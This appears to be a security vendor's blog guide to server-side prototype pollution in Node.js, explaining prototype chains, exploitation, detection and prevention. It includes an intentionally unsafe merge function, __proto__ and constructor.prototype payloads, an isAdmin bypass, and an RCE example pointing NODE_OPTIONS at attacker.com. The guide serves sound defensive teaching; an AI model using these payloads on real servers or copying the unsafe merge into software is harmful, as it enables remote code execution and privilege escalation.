What is Server-Side Prototype Pollution? Ways to Exploit, Examples and Impact
Discover how Server-Side Prototype Pollution works, its impact on Node.js apps, and how to prevent RCE. Learn to secure your infrastructure with Jsmon.
Server-Side Prototype Pollution (SSPP) is one of the most dangerous and elusive vulnerabilities in modern web development, particularly within the Node.js ecosystem. While prototype pollution was traditionally viewed as a client-side issue that could lead to Cross-Site Scripting (XSS), its emergence on the server side has elevated the risk to include Remote Code Execution (RCE), full system compromise, and sophisticated authentication bypasses. This guide provides a deep dive into the mechanics of JavaScript prototypes, how they can be exploited on the server, and the actionable steps you can take to secure your applications.
Understanding JavaScript Prototypes and Inheritance
To understand prototype pollution, we must first understand how JavaScript handles objects. Unlike class-based languages like Java or C++, JavaScript uses a prototypal inheritance model. Almost every object in JavaScript is linked to another object called its "prototype."
When you attempt to access a property on an object, JavaScript first looks at the object itself. If the property isn't found, it looks at the object's prototype. If it’s still not found, it looks at the prototype's prototype, and so on, until it reaches null at the end of the "prototype chain."
The __proto__ and prototype Properties
In JavaScript, __proto__ is an accessor property that exposes the internal prototype of an object. For example:
const user = { name: "Alice" };
console.log(user.__proto__ === Object.prototype); // true
If we modify Object.prototype, we modify the behavior of every object in the application because they all eventually inherit from it. This is the core mechanism that attackers exploit.
What is Server-Side Prototype Pollution?
Server-Side Prototype Pollution occurs when an application insecurely merges user-controlled input into an existing object or its prototype. Because Node.js applications often share the same global object space within a single process, polluting a global prototype like Object.prototype affects all objects created by the server until the process is restarted.
In a server-side context, this vulnerability is particularly lethal. If an attacker can inject a property into the global prototype, they can influence the logic of third-party libraries, change environment variables, or even hijack system commands.
How Prototype Pollution Works: The Mechanics
The vulnerability typically arises from three common coding patterns: merging objects, cloning objects, and path-based property assignment.
1. Insecure Object Merging
Many libraries provide a merge() function to combine two objects. A recursive merge function that does not check for "magic" keys like __proto__ or constructor is the most common source of pollution.
function merge(target, source) {
for (let key in source) {
if (typeof target[key] === 'object' && typeof source[key] === 'object') {
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}
// Malicious input
const maliciousPayload = JSON.parse('{"__proto__": {"isAdmin": true}}');
const userProfile = { name: "Bob" };
merge(userProfile, maliciousPayload);
const guest = {};
console.log(guest.isAdmin); // true - The global prototype is polluted!
2. Path-based Assignment
Some applications allow users to set properties using a path string, such as user.settings.theme. If the application doesn't sanitize the path, an attacker can provide a path like __proto__.shell to inject properties into the global scope.
Ways to Exploit Server-Side Prototype Pollution
Exploiting prototype pollution on the server requires identifying a "sink"—a piece of code whose behavior changes based on the polluted property.
Remote Code Execution (RCE) via Child Processes
The most severe impact of SSPP is Remote Code Execution. In Node.js, the child_process module is a common target. When calling spawn() or fork(), Node.js checks an options object for properties like shell or env.
If an attacker pollutes Object.prototype.shell, and a subsequent call to spawn() is made without explicitly defining the shell option, the polluted value is used.
Exploit Example:
// Attacker pollutes the prototype
const payload = JSON.parse('{"__proto__": {"shell": "node", "env": {"NODE_OPTIONS": "--inspect=attacker.com:1337"}}}');
merge({}, payload);
// Later, the server runs a legitimate command
const { spawn } = require('child_process');
spawn('ls'); // This now executes with the attacker's NODE_OPTIONS
Bypassing Authentication and Authorization
Many applications use simple object properties to check permissions. If an attacker can pollute the prototype with an isAdmin: true property, every user object in the system might suddenly be granted administrative privileges.
// Vulnerable check
if (user.isAdmin) {
renderAdminDashboard();
}
If user doesn't have an isAdmin property, JavaScript looks up the chain to the polluted Object.prototype, finds true, and grants access.
Denial of Service (DoS)
An attacker can crash a server by polluting the prototype with properties that break core functionality. For example, polluting Object.prototype.toString with a non-function value will cause any code calling .toString() to throw an unhandled exception, potentially crashing the Node.js process.
Real-World Examples and Payloads
One of the most famous instances of this vulnerability was found in the lodash library (CVE-2019-10744). The _.defaultsDeep function was susceptible to prototype pollution, allowing attackers to modify the global object state.
Another example involves the nconf library, where configuration objects could be polluted via command-line arguments or configuration files, leading to privilege escalation.
Common Payload Patterns
Attackers often use JSON payloads to trigger the vulnerability via API endpoints:
- Direct Proto Access:
{"__proto__": {"vulnerable_prop": "malicious_value"}} - Constructor Access:
{"constructor": {"prototype": {"vulnerable_prop": "malicious_value"}}}
In modern Node.js versions, __proto__ is sometimes partially mitigated, but the constructor.prototype vector often remains effective.
Detection Techniques: How to Find Prototype Pollution
Detecting SSPP requires a combination of static analysis and dynamic testing.
Static Analysis
Look for recursive merge functions, object cloning logic, or property assignments where the key is derived from user input. Tools like Semgrep can be used to find patterns like target[key] = value where key is not validated.
Dynamic Analysis (Black-box Testing)
You can test for prototype pollution by sending a payload that attempts to inject a unique property and then checking if that property exists on a newly created object.
For example, send a POST request with:{"__proto__": {"jsmon_test_property": "polluted"}}
Then, trigger an endpoint that returns an object. If the response contains jsmon_test_property, the server is vulnerable.
Impact of Server-Side Prototype Pollution
The impact of SSPP is almost always critical. Because it affects the global state of the application:
- Total System Compromise: Through RCE, attackers gain full control over the server.
- Data Breaches: Attackers can bypass authorization to access sensitive databases.
- Persistent Threat: Once the prototype is polluted, the effect persists until the server process restarts, meaning the exploit can affect other users long after the attacker has disconnected.
How to Prevent Server-Side Prototype Pollution
Preventing prototype pollution requires a defense-in-depth approach. You should never trust user-supplied keys when interacting with object prototypes.
1. Use Map Instead of Objects
For collections of key-value pairs derived from user input, use the JavaScript Map object. Maps do not have prototypes in the same way objects do and are not susceptible to prototype pollution.
2. Create Objects Without Prototypes
If you need a plain object, create it using Object.create(null). This creates an object that does not inherit from Object.prototype, making it immune to pollution.
const safeObject = Object.create(null);
3. Freeze the Prototype
In your application's entry point, you can freeze the global prototypes to prevent any modifications at runtime. Note that this might break some third-party libraries that legitimately modify prototypes.
Object.freeze(Object.prototype);
Object.freeze(Array.prototype);
4. Use Schema Validation
Use libraries like Joi or Zod to validate incoming JSON. Ensure that your schemas do not allow keys like __proto__ or constructor.
5. Keep Dependencies Updated
Since many SSPP vulnerabilities exist in third-party libraries (like lodash, extend, or merge), use tools like npm audit to identify and update vulnerable packages.
Conclusion
Server-Side Prototype Pollution is a sophisticated vulnerability that exploits the fundamental design of the JavaScript language. By understanding the prototype chain and implementing strict input validation, developers can protect their Node.js applications from catastrophic exploits like Remote Code Execution and authentication bypass. As the JavaScript ecosystem continues to grow, staying vigilant about how data is merged and processed is essential for maintaining a secure infrastructure.
To proactively monitor your organization's external attack surface and catch exposures before attackers do, try Jsmon.